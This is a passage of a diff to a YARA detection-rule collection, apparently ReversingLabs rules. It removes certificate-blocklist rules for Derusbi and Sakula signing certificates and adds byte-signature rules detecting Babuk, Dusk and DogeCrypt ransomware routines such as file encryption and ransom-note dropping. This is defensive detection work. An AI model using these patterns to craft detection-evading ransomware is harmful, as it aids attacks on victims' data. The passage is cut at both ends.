?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C6 + } + $find_system_volumes_v2_p2 = { + 45 ?? ?? 8B 45 ?? 89 46 ?? C6 45 ?? ?? 83 05 ?? ?? ?? ?? ?? EB ?? 50 56 B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? + 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 C0 8B 75 ?? 83 C3 ?? FF 45 ?? 2B CE + 66 89 45 ?? B8 ?? ?? ?? ?? F7 E9 C7 45 ?? ?? ?? ?? ?? C1 FA ?? 8B C2 C7 45 ?? ?? ?? + ?? ?? C1 E8 ?? 03 C2 39 45 ?? 0F 82 ?? ?? ?? ?? 83 E7 ?? 89 7D ?? C7 45 ?? ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 5F 5B EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F3 + 0F 7E 05 ?? ?? ?? ?? 8B F0 2B 75 ?? 66 0F D6 45 ?? 90 8B 55 ?? 8B 4D ?? E8 ?? ?? ?? + ?? 83 3D ?? ?? ?? ?? ?? F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 F2 0F 59 C1 F2 0F 59 C1 + F2 0F 11 45 ?? 74 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B C8 74 ?? 6A ?? 51 FF 35 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 0F 57 C0 66 0F 13 05 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F2 0F 10 45 ?? 83 EC ?? F2 0F 11 44 24 ?? 66 0F 6E C6 + F3 0F E6 C0 C1 EE + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Saly Younes" and pe.signatures [ i ] . serial == "09:81:3e:e7:31:84:52:c2:8a:1f:64:26:d1:ce:e1:2d" and 1455667199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $find_files ) and ( $encrypt_files_v1 ) and ( $cmd_prompt ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $ldap_connect ) and ( $encrypt_files_v2 ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $ldap_connect ) and ( $encrypt_files_v3 ) and ( $exclude_from_encryption_v1 ) ) or ( ( $find_files ) and ( $encrypt_files_v4 ) and ( $drop_ransom_note_v1 ) and ( all of ( $exclude_from_encryption_v2_p* ) ) ) or ( ( $find_files ) and ( $exclude_from_encryption_v1 ) and ( any of ( $encrypt_files_v5 ) ) and ( all of ( $find_system_volumes_v2_p* ) ) ) or ( ( all of ( $encrypt_files_v5_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( $find_system_volumes ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( $find_files ) ) or ( ( all of ( $encrypt_files_v6_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( $find_files ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_476Bf24A4B1E9F4Bc2A61B152115E1Fe : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Babuk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Derusbi malware." + description = "Yara rule that detects Babuk ransomware." author = "ReversingLabs" - id = "a41e8196-f5ad-5046-82ac-38c6fe753bdb" - date = "2020-08-05" - modified = "2023-11-08" + id = "8a96f400-193f-5fd1-ba03-4da464345e1c" + date = "2021-01-26" + modified = "2021-01-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2014-L2030" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Babuk.yara#L1-L117" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ec0f44d2a7a53ad5653334378b631abde1834ebfcf72efcdcce353c6b9ae17d" + logic_hash = "70327b3f9d0b0505ade7ee6de6d7facf56820c7e8477bd172f738f374311144f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Babuk" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment co.,Ltd" and pe.signatures [ i ] . serial == "47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" and 1414454399 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_7Bd55818C5971B63Dc45Cf57Cbeb950B : INFO FILE -{ - meta: - description = "Certificate used for digitally signing Derusbi malware." - author = "ReversingLabs" - id = "9269cc5c-039e-5d98-ac13-c7b99606e7fa" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2032-L2048" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5aa41a2d6a86a30559b36818602e1bdf2bfd38b799a4869c26c150052d6d788c" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8B + 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? + ?? ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 73 ?? 8B 85 ?? ?? ?? ?? 8B + 0C 85 ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? + ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? + 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 74 ?? 83 7D ?? ?? 77 ?? 8B 45 ?? 83 + C0 ?? 50 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 7C ?? 8B 95 ?? ?? ?? ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? + ?? ?? 8B 8D ?? ?? ?? ?? 8D 94 4D ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ?? + EB ?? EB ?? EB ?? EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? + ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 50 FF 15 + } + $encrypt_files_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? + ?? ?? 7F ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B + 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D + ?? ?? ?? ?? 83 C1 ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? + 83 BD ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 + } + $encrypt_files_p2 = { + E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 68 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? + 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 + FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? ?? + ?? 7F ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? + ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? + ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + } + $encrypt_files_p3 = { + C4 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 45 + ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF + 15 ?? ?? ?? ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? 8D 95 ?? ?? ?? + ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 6A + ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? + ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 3B 95 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BC 05 ?? ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 69 8D ?? ?? ?? ?? ?? ?? ?? ?? 81 BC 0D ?? ?? ?? ?? ?? ?? ?? + ?? 74 ?? FF 15 ?? ?? ?? ?? 69 95 ?? ?? ?? ?? ?? ?? ?? ?? 3B 84 15 ?? ?? ?? ?? 74 ?? + 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8C 05 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? + ?? 51 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $enum_resources = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 + ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? + ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 73 ?? 8B 45 ?? C1 E0 ?? 8B + 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? EB ?? 6A ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB + ?? EB ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 4D ?? 33 + CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XL Games Co.,Ltd." and pe.signatures [ i ] . serial == "7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" and 1371513599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources ) } - -rule REVERSINGLABS_Cert_Blocklist_4C0B2E9D2Ef909D15270D4Dd7Fa5A4A5 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Dusk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Derusbi malware." + description = "Yara rule that detects Dusk ransomware." author = "ReversingLabs" - id = "97005464-1219-56d7-bd5c-f047558be1dc" - date = "2020-08-05" - modified = "2023-11-08" + id = "cde30f40-f13c-53da-8656-cc293433aa36" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2050-L2066" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara#L1-L73" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9c74eb025bb413503b97ffdba6f19eadecf3789ce3a5d5419f84e32e25c9b5b1" + logic_hash = "b6b0b3be7c17115dc5f225a13228f8a4811d84ae095c3ceba2d89f569f2d40c7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Dusk" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fuqing Dawu Technology Co.,Ltd." and pe.signatures [ i ] . serial == "4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" and 1372118399 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_5E3D76Dc7E273E2F313Fc0775847A2A2 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing Sakula and Derusbi malware." - author = "ReversingLabs" - id = "93707307-a250-526d-a3d4-32ed5d2a63a6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2068-L2084" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b943057fc3e97cfccadb4b8f61289a93b659aacf2a40217fcf519d4882e70708" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? + 0A 06 28 ?? ?? ?? ?? 0B 03 07 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? DE ?? 26 DE ?? 2A + } + $encrypt_files_p2 = { + 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? + ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? + ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 + ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? + 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A + } + $dusk_delete_itself = { + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 1A 8D ?? ?? ?? ?? 25 16 + 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 0B 06 07 28 ?? ?? ?? + ?? 06 06 28 ?? ?? ?? ?? 18 60 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 73 ?? ?? + ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 04 28 ?? ?? ?? ?? 28 + ?? ?? ?? ?? DE ?? 26 DE ?? 2A + } + $find_files = { + 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? + 72 ?? ?? ?? ?? A2 0A 1F ?? 8D ?? ?? ?? ?? 25 16 1F ?? 28 ?? ?? ?? ?? A2 25 17 1E 28 ?? + ?? ?? ?? A2 25 18 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 + ?? ?? ?? ?? A2 25 1B 1B 28 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? A2 25 1E 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1F ?? 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 0B 16 0C 2B ?? 07 08 9A 0D + 1F ?? 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 + ?? 11 ?? 9A 28 ?? ?? ?? ?? 13 ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 11 ?? 9A 11 ?? + 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 02 09 28 ?? ?? ?? ?? DE ?? + 26 DE ?? 08 17 58 0C 08 07 8E 69 32 ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 26 DE ?? 26 DE ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 20 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NexG" and pe.signatures [ i ] . serial == "5e:3d:76:dc:7e:27:3e:2f:31:3f:c0:77:58:47:a2:a2" and 1372723199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $dusk_delete_itself ) } - -rule REVERSINGLABS_Cert_Blocklist_47D5D5372Bcb1562B4C9F4C2Bdf13587 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dogecrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Sakula malware." + description = "Yara rule that detects DogeCrypt ransomware." author = "ReversingLabs" - id = "d888478e-3883-5d9d-a2b3-d59b57409b8d" - date = "2020-08-05" - modified = "2023-11-08" + id = "e0ca22a5-70bb-5d2c-bce4-bac49c2a81d2" + date = "2021-04-28" + modified = "2021-04-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2086-L2102" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DogeCrypt.yara#L1-L114" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fb4994647a2ed95c73625d90315c9b6deb6fb3b81b4aa6e847b0193f0a76650c" + logic_hash = "1c19862884cf1e59d12c84f5ff6f799a4087ddc8bd887e0d2ce7da053642b851" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DogeCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_DogeCrypt_p1 = { + 50 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? BA ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 2B C6 89 B5 ?? ?? ?? ?? 3B C8 77 ?? 83 BD ?? ?? ?? ?? + ?? 8D 3C 31 8D 04 09 89 BD ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43 + B5 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 + C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? + ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 50 FF D6 8B F8 83 FF ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A + ?? 0F 43 85 ?? ?? ?? ?? 68 